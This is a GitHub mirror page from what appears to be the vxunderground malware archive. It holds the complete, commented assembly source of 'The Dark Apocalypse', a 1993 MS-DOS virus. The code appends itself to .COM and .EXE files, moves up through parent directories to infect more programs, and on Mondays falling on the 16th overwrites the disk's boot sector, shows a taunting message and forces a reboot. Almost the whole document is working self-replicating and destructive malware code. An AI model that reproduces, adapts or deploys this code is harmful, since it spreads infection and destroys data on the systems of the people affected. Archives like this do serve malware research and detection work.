13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-28 18:02:48 +00:00
vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.dark.asm
2021-01-12 17:38:47 -06:00

561 lines
17 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;****************************************************************************
;* The Dark Apocalypse *
;* (C)1993 by Crypt Keeper ùùRoTùù *
;****************************************************************************
;Parasitic Non-Resident .COM and .EXE infector
;Activation : Monday 16th (Fri 13, Sat 14, Sun 15, ...)
;This virus is a parasitic infector of .COM and .EXE files and is traversal
;(infects more than the directory it is in) using the "CD .." method. It
;infects files by appending to the end. It triggers on any Monday 16th,
;replacing the boot sector with code to reboot the machine.
;COMMAND.COM is never infected.
CODE SEGMENT
ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE
VTOP EQU $ ;Top of virus code
;Equates --------------------------------------------------------------------
VLENGTH EQU VBOT-VTOP ;Length of virus in bytes
MAXINF EQU 3 ;Max files to infect in each directory
VLPARA EQU (VLENGTH/16)+1 ;Virus length in paragraphs
IDWORD EQU 0FFEEh ;ID word (for EXE files)
;----------------------------------------------------------------------------
LEA AX,[BP+(OFFSET(STACK1)+64)] ;Get stack pointer
MOV SP,AX
CALL GETDELTA
GETDELTA:
POP BP
SUB BP,OFFSET(GETDELTA) ;Find delta offset
PUSH DS
PUSH ES ;Save original segment regs (EXE)
PUSH CS
POP DS
PUSH CS
POP ES ;Set up new segments
CLD ;Clear direction flag
LEA SI,[BP+OFFSET(ORIGBYT)]
LEA DI,[BP+OFFSET(OLD_OB)]
MOV CX,BCLEN
REP MOVSB ;Shadow saved bytes into buffer
LEA SI,[BP+OFFSET(ORIG_IP)]
LEA DI,[BP+OFFSET(ORIGIP)]
MOV CX,4
REP MOVSW ;Shadow EXE header information
MOV AH,2Ah ;Get date
INT 21h
CMP AL,1 ;Monday?
JNE NOTRIGGER ;If not, don't trigger
CMP DL,16 ;The 16th?
JNE NOTRIGGER ;If not, don't trigger
MOV AH,19h ;Get default drive
INT 21h
LEA BX,[BP+OFFSET(REBOOTCOD)] ;Offset of reboot code
MOV CX,1 ;Number of sectors to write
XOR DX,DX ;Start at absolute sector 0
INT 26h ;Absolute disk write
JC WRITE_ERROR ;Skip POPF if error
POPF ;Pop flags (after INT 26h return)
WRITE_ERROR:
LEA DX,[BP+OFFSET(MESSAGE)] ;Display message
MOV AH,9 ;Print string
INT 21h
INT 05h ;Print screen
XOR AH,AH ;Read keyboard
INT 16h ;BIOS keyboard interrupt
JMP REBOOTCOD ;Reboot the machine
NOTRIGGER:
LEA SI,[BP+OFFSET(ORIGDIR)] ;Save original directory name
XOR DL,DL ;from current drive
MOV AH,47h ;Get current directory
INT 21h
DIRSCAN:
LEA SI,[BP+OFFSET(OLDDIR)] ;Save old directory name
XOR DL,DL ;from current drive
MOV AH,47h ;Get current directory
INT 21h
MOV AX,WORD PTR [BP+OFFSET(OLDDIR)] ;Get first 2 bytes of old DIR
CMP AX,'\' ;Root directory?
JE NOMORE_DIRS ;If so, end scan
MOV DL,[BP+OFFSET(COMID)]
PUSH DX ;Save COM ID
CALL INFECT ;Attempt to infect files in directory
POP DX
MOV [BP+OFFSET(COMID)],DL ;Restore COM ID
LEA DX,[BP+OFFSET(CHDIR)] ;Offset of directory name
MOV AH,3Bh ;Change current directory
INT 21h
JC NOMORE_DIRS ;If error, end scan
JMP SHORT DIRSCAN
NOMORE_DIRS:
LEA DX,[BP+OFFSET(ORIGDIR)] ;Reset original directory
MOV AH,3Bh ;Change current directory
INT 21h
MOV DL,0FFh
CMP [BP+OFFSET(COMID)],DL ;Is this a .COM file
JE RET_COM ;If so, execute .COM file return
MOV AH,51h ;Get PSP adress
INT 21h
ADD BX,16 ;Compensate for PSP size
POP ES
POP DS ;Restore original ES and DS from EXE
CLI ;Clear interrupts for stack change
MOV AX,CS:[BP+OFFSET(ORIGSP)]
MOV SP,AX
MOV AX,CS:[BP+OFFSET(ORIGSS)]
ADD AX,BX ;Find segment for SS
MOV SS,AX ;Reset original EXE stack
STI
ADD CS:[BP+OFFSET(ORIGCS)],BX ;Find segment for CS
JMP DWORD PTR CS:[BP+OFFSET(ORIGIP)] ;Far jump to original EXE code
RET_COM:
POP AX
POP AX ;Get "EXE stuff" off stack
LEA SI,[BP+OFFSET(OLD_OB)] ;Original bytes from .COM file
MOV DI,100h ;Put at .COM entry point
MOV CX,BCLEN ;Move length of original bytes
REP MOVSB ;Replace bytes of original .COM file
MOV AX,100h
PUSH AX
RET ;Jump to original .COM code
INFECT:
MOV AH,2Fh ;Get disk transfer adress
INT 21h
MOV [BP+OFFSET(OLDDTAS)],ES
MOV [BP+OFFSET(OLDDTAO)],BX ;Old disk transfer adress
PUSH CS
POP ES
LEA DX,[BP+OFFSET(NEWDTA)] ;New disk transfer adress
MOV AH,1Ah ;Set disk transfer adress
INT 21h
FINDEXE:
XOR SI,SI ;Zero counter
MOV CX,4 ;Search for all normal files
LEA DX,[BP+OFFSET(SSPEC1)] ;Search for *.EXE
MOV AH,4Eh ;Find first file
INT 21h
JNC DISEASE_EXE ;Carry set means no more .EXE files
JMP NOMORE_EXE
FIND_NEXT_EXE:
MOV AH,4Fh ;Find next file
INT 21h
JNC DISEASE_EXE ;Carry set means no more .EXE files
JMP NOMORE_EXE
DISEASE_EXE:
XOR CX,CX ;Set attributes to normal
LEA DX,[BP+OFFSET(FNAME)] ;on file to infect
MOV AX,4301h ;Set file atttibutes
INT 21h
MOV AX,3D02h ;Open file for READ/WRITE access
INT 21h
MOV [BP+OFFSET(THANDLE)],AX ;File handle
MOV BX,AX
MOV CX,28 ;Read 28 bytes (EXE header)
LEA DX,[BP+OFFSET(EXEHEADER)] ;Exe header buffer
MOV AH,3Fh ;Read file or device
INT 21h
MOV AX,IDWORD
CMP [BP+OFFSET(SSSP)],AX ;Is EXE already infected?
JNE GO_AHEAD_INFECT ;If not, go ahead
JMP END_EXE_INFECTION ;If so, end routine
GO_AHEAD_INFECT:
XOR AX,AX
MOV [BP+OFFSET(COMID)],AL ;Zero .COM ID field
PUSH SI ;Save counter
LES SI,[BP+OFFSET(CSIP)] ;Get CS:IP from EXE header
MOV [BP+OFFSET(ORIG_IP)],SI
MOV [BP+OFFSET(ORIG_CS)],ES ;Set fields in virus code
LES SI,[BP+OFFSET(SSOFS)] ;Get SP:SS (reversed) from EXE header
MOV [BP+OFFSET(ORIG_SP)],ES
MOV [BP+OFFSET(ORIG_SS)],SI ;Set fields in virus code
POP SI ;Restore counter
PUSH CS
POP ES
XOR CX,CX
XOR DX,DX ;Move file pointer zero bytes
MOV AX,4202h ;Move to end of file
INT 21h
MOV CX,16
DIV CX ;Divide file size by 16 (paragraph)
PUSH AX
SUB AX,[BP+OFFSET(HEADSIZ)] ;Subtract header size from paragraphs
POP CX
CMP AX,CX
JA END_EXE_INFECTION ;If file too small, end infection
MOV [BP+OFFSET(CSIP)],DX
MOV [BP+OFFSET(CSOFS)],AX ;Set CS:IP in EXE header
MOV [BP+OFFSET(SSOFS)],AX
MOV CX,0FFEEh
MOV [BP+OFFSET(SSSP)],CX ;Set SS:SP in EXE header
MOV CX,VLPARA
ADD [BP+OFFSET(MINMEM)],CX ;Add virus size in paragraphs to minmem
MOV AX,[BP+OFFSET(ID_WORD)] ;Get ID word from EXE header
CMP AX,'MZ'
JE EXE_OK
CMP AX,'ZM'
JE EXE_OK ;If a true EXE file, go ahead
JMP SHORT END_EXE_INFECTION ;If not (misnamed COM), end infection
EXE_OK: MOV BX,[BP+OFFSET(THANDLE)] ;Handle of target file
MOV CX,VLENGTH ;Write virus length in bytes
MOV DX,BP ;BP=Start of virus code
MOV AH,40h ;Write file or device
INT 21h
XOR CX,CX
XOR DX,DX ;Move file pointer zero bytes
MOV AX,4202h ;Move to end of file
INT 21h
MOV CX,512 ;Divide by 512 bytes (page)
DIV CX
CMP DX,00h
JE GO_AHEAD_SET ;If no remainder, go ahead and set
INC AX ;Add another page (last page)
GO_AHEAD_SET:
MOV [BP+OFFSET(TOTPAGE)],AX
MOV [BP+OFFSET(LAST512)],DX ;Set new EXE file size
CALL SEEKZERO ;Seek to position zero in file
MOV CX,28 ;Length of EXE header
LEA DX,[BP+OFFSET(EXEHEADER)] ;Offset of header data
MOV AH,40h ;Write file or device
INT 21h
INC SI ;Increment counter
END_EXE_INFECTION:
MOV BX,[BP+OFFSET(THANDLE)] ;Handle of target file
MOV AH,3Eh ;Close file with handle
INT 21h
CALL RESET_ATTR ;Reset original attributes
CMP SI,MAXINF ;Maximum counter reached?
JNE FNE ;If so, end all searches for directory
JMP NOMORE_FILES
FNE: JMP FIND_NEXT_EXE ;Find next file
RESET_ATTR:
MOV CX,[BP+OFFSET(ATTRIB)] ;Reset old attributes
LEA DX,[BP+OFFSET(FNAME)] ;on file just infected
MOV AX,4301h ;Set file attributes
INT 21h
RET ;Return to caller
SEEKZERO:
XOR CX,CX
XOR DX,DX ;Change offset = 0
MOV AX,4200h ;Move from beginning of file
INT 21h
RET ;Return to caller
NOMORE_EXE:
MOV CX,4 ;Search for all normal files
LEA DX,[BP+OFFSET(SSPEC2)] ;Search for *.COM
MOV AH,4Eh ;Find first file
INT 21h
JNC DISEASE_COM ;Carry set means error
JMP NOMORE_FILES
FIND_NEXT_COM:
MOV AH,4Fh ;Find next file
INT 21h
JNC DISEASE_COM ;Carry set means error
JMP NOMORE_FILES
DISEASE_COM:
XOR CX,CX ;Set attributes to normal
LEA DX,[BP+OFFSET(FNAME)] ;on file to infect
MOV AX,4301h ;Set file atttibutes
INT 21h
PUSH SI ;Save counter
MOV SI,DX
LEA DI,[BP+OFFSET(CS2)] ;Compare with "COMMAND.COM"
MOV CX,12 ;11 bytes to compare
REPE CMPSB ;Repeat until not equal
POP SI ;Restore counter
CMP CX,0 ;All characters match?
JE END_COM_INFECTION ;If so, end infection routine
MOV AX,3D02h ;Open file for READ/WRITE access
INT 21h
MOV BX,AX
MOV CX,2 ;Read one word of data
LEA DX,[BP+OFFSET(CHKBUF)] ;Buffer for word to check
MOV AH,3Fh ;Read file or device
INT 21h
MOV AX,[BP+OFFSET(CHKBUF)]
CMP AX,'MZ'
JE END_COM_INFECTION
CMP AX,'ZM'
JE END_COM_INFECTION ;End infection if misnamed .EXE
CMP AX,WORD PTR [BP+OFFSET(BRANCH)] ;Compare with start of branch code
JE END_COM_INFECTION ;End infection if already infected
CALL SEEKZERO ;Seek to position zero in file
MOV CX,BCLEN ;Length of branch code
LEA DX,[BP+OFFSET(ORIGBYT)] ;Save original bytes from COM file
MOV AH,3Fh ;Read file or device
INT 21h
XOR CX,CX
XOR DX,DX ;Move file pointer zero bytes
MOV AX,4202h ;Move to end of file
INT 21h
ADD AX,100h ;Compensate for PSP
MOV [BP+OFFSET(VOFFSET)],AX ;Store virus offset in repeat code
XOR AX,AX
MOV [BP+OFFSET(COMID)],AH ;Zero .COM ID field
MOV CX,VLENGTH
MOV DX,BP ;Delta offset = start of code
MOV AH,40h ;Write file or device
INT 21h
CALL SEEKZERO ;Seek to position zero
MOV CX,BCLEN ;Length of branch code
LEA DX,[BP+OFFSET(BRANCH)] ;Write branch code
MOV AH,40h ;Write file or device
INT 21h
INC SI ;Increment counter
END_COM_INFECTION:
MOV AH,3Eh ;Close file with handle
INT 21h
CALL RESET_ATTR ;Reset original attributes
CMP SI,MAXINF ;Maximum counter reached?
JE NOMORE_FILES ;If so, end all searches for directory
JMP FIND_NEXT_COM ;Find next .COM file
NOMORE_FILES:
LDS DX,[BP+OFFSET(OLDDTAO)] ;Get old disk transfer adress
MOV AH,1Ah ;Set disk transfer adress
INT 21h
PUSH CS
POP DS
RET ;Return to caller
;Reboot code ----------------------------------------------------------------
REBOOTCOD:
MOV AX,0040h
MOV DS,AX
MOV BX,1234h
MOV WORD PTR DS:[0072h],BX ;Warm reboot
DB 0EAh
DW 0
DW 0FFFFh ;JMP FFFF:0000 (hard coded)
;Branch code ----------------------------------------------------------------
BCTOP EQU $ ;Top of branch code
BRANCH: XOR BP,DI ;Marker instruction
DB 0BBh ;MOV BX,
VOFFSET DW 0 ;Offset of viral code
MOV DI,OFFSET(COMID)
ADD DI,BX ;Calculate location of COM id
MOV AL,0FFh
STOSB ;Set COM file flag
PUSH BX
RET ;Jump to virus code
BCBOT EQU $ ;Bottom of branch code
BCLEN EQU BCBOT-BCTOP ;Length of branch code
;Data -----------------------------------------------------------------------
CS2 DB 'COMMAND.COM',0 ;File to replace with reboot code
DB 0FFh
CHDIR DB '..',0 ;Change directory string
MESSAGE DB 13,10
DB 'Welcome to the Dark Apocalypse... Your computer will',13,10
DB 'never escape... You might as well read this and weep!',13,10
DB 13,10
DB 'The Dark Apocalypse v1.00 by Crypt Keeper [RoT]',13,10
DB 'ùúúReign of Terrorúúù [DARK APOCALYPSE]',13,10
DB 13,10
DB 'Press any key to continue...$'
ORIG_IP DW 0
ORIG_CS DW 0
ORIG_SS DW 0
ORIG_SP DW 0 ;Original segments/pointers from EXEHDR
SSPEC1 DB '*.EXE',0
SSPEC2 DB '*.COM',0 ;Search specs
ORIGBYT DB 0CDh
DB 20h ;For proper .COM return to DOS
DB BCLEN-2 DUP ('!') ;Buffer for saved bytes from .COM files
COMID DB 0FFh ;ID byte set to 0FFh by branch if .COM
;----------------------------------------------------------------------------
VBOT EQU $ ;Bottom of virus code
;Heap -----------------------------------------------------------------------
ORIGIP DW 0
ORIGCS DW 0
ORIGSS DW 0
ORIGSP DW 0 ;Shadowed EXEHDR information
EXEHEADER:
ID_WORD DW 0 ;ID word (ZM or MZ)
LAST512 DW 0 ;Number of bytes in last 512 byte page
TOTPAGE DW 0 ;Total number of pages in file
SEGENTS DW 0 ;Number of entries in segment table
HEADSIZ DW 0 ;Size of header in paragraphs
MINMEM DW 0 ;Minimum memory in paragraphs
MAXMEM DW 0 ;Maximum memory in paragraphs
SSOFS DW 0 ;Offset of SS from header (paragraphs)
SSSP DW 0 ;Stack pointer offset
NEGCHK DW 0 ;Negative checksum (ignored by DOS)
CSIP DW 0 ;Offset of IP from CS (bytes)
CSOFS DW 0 ;Offset of CS from header (paragraphs)
RELOFS DW 0 ;Offset of relocation table from loc 0
OVLNUM DW 0 ;Overlay number (ignored)
CHKBUF DW 0 ;Buffer for infection check (COM files)
VSEG DW 0 ;Segment of virus in RAM
THANDLE DW 0 ;File handle
OLDDIR DB 70 DUP ('?') ;Buffer for old directory name
ORIGDIR DB 70 DUP ('?') ;Buffer for original directory name
OLDDTAO DW 0
OLDDTAS DW 0 ;Old disk transfer adress
OLD_OB DB BCLEN DUP ('%') ;Buffer for shadow of old original code
STACK1 DB 64 DUP ('S') ;Stack
NEWDTA:
DB 21 DUP (' ') ;Reserved
ATTRIB DB 0 ;Attributes of found file
FTIME DW 0 ;Time of last write
FDATE DW 0 ;Date of last write
FSIZE DD 0 ;File size
FNAME DB 13 DUP ('?') ;File name
;----------------------------------------------------------------------------
CODE ENDS
END